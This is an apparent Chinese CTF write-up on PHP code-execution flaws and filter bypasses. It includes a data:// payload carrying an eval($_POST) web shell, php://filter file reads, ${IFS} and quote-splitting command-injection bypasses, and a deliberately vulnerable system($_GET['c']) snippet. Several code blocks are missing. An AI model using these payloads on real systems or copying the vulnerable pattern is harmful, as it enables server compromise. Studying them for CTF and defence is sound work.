PHP 代码执行漏洞:详细解析与绕过方法
1. 介绍
在 Web 安全中,PHP 代码执行漏洞是一类非常严重的安全隐患。攻击者利用这些漏洞不仅可以执行任意代码,还能进一步窃取敏感数据、植入后门,甚至控制整台服务器。尤其是在 CTF(Capture The Flag)比赛中,利用代码执行漏洞获取“flag”是常见的题目类型。
2. 背景知识
2.1 PHP 动态执行函数
PHP 内置了许多用于动态执行代码或命令的函数,如:
-
eval():直接执行传入的 PHP 代码字符串;
-
system()、passthru()、exec():用于执行系统命令;
-
include():加载指定的 PHP 文件,并执行其中的代码。
错误的使用方式或不当的输入过滤,往往会使这些函数成为攻击者的突破口。
2.2 过滤与绕过技术
开发者为了防止恶意代码执行,通常会使用正则表达式对输入进行过滤。例如屏蔽关键词(如 flag、system、cat 等)或特定字符(如空格、引号、分号等)。
然而,攻击者常利用下列技巧进行绕过:
-
字符拆分与拼接:利用单引号、双引号的拆分,将敏感字符串分割开,避免被正则匹配;
-
特殊空白替换:使用 URL 编码的空格(%20)、Tab(%09)、或者 Shell 内置的变量(例如 ${IFS})来替换空格;
-
利用其他执行函数:当某个函数被过滤时,可以尝试使用其他函数(如 include、show_source)实现相似效果;
-
data:// 协议:利用 PHP 数据流包装,将代码或文件内容嵌入到 URL 中传入。
下面将对各个示例进行详细解析。
3. 示例解析与绕过方法
示例 29
代码:
&a=php://filter/read=convert.base64-encode/resource=flag.php
这里用 %0a 替换空格和分号,用 ?> 结束 eval 的代码段,然后借助 php://filter 对文件进行 Base64 编码后读取。
注意:
-
传入的代码必须是有效的 PHP 代码,且不能包含完整的 PHP 标签(如 ),只能用适当的方式切换 PHP 与 HTML 模式。
-
return 语句会中止执行,因此绕过时要注意控制代码顺序和作用域。
示例 37
代码:
-
或者使用 Base64 编码的 payload:
payload:?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
这种方法利用 data:// 将 PHP 代码传入,绕过了文件名中敏感字符的限制。
示例 38
代码:
或者利用日志注入、构造其他变量读取方式。
示例 39
代码:
利用 data 协议和系统命令读取文件内容。
示例 40
代码:
说明:
本例通过 POST 提交参数,并过滤掉数字、字母以及一些特殊字符,只允许极少数字符出现。
绕过方法:
可以通过构造或拆分字符来拼接绕过,也可以参考网上的案例,如:CSDN 博客和博客园文章中给出的思路。
示例 42 至 57
这部分示例主要展示了基于 system() 函数的命令执行绕过方法,不同示例在过滤规则上不断升级,屏蔽了更多命令和字符。下面做一些归纳说明:
示例 42 – 44
-
示例 42:
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
调用示例中使用了 URL 编码(如 %0a 换行符)和逻辑符(如 ||、&),以绕过过滤。
-
示例 43 与 44:
分别对 ;、cat、flag 等关键词做了过滤,通过对命令进行 URL 编码或者在命令中加入引号来实现绕过。例如:
?c=tac f''l""ag.php%0a
示例 45
-
对空格进行过滤,攻击者可以用 %09 (Tab)、${IFS}、 等替代空格,从而构造 payload:
payload:?c=tac$IFS$9f*|| payload:?c=tac
-
-
-
-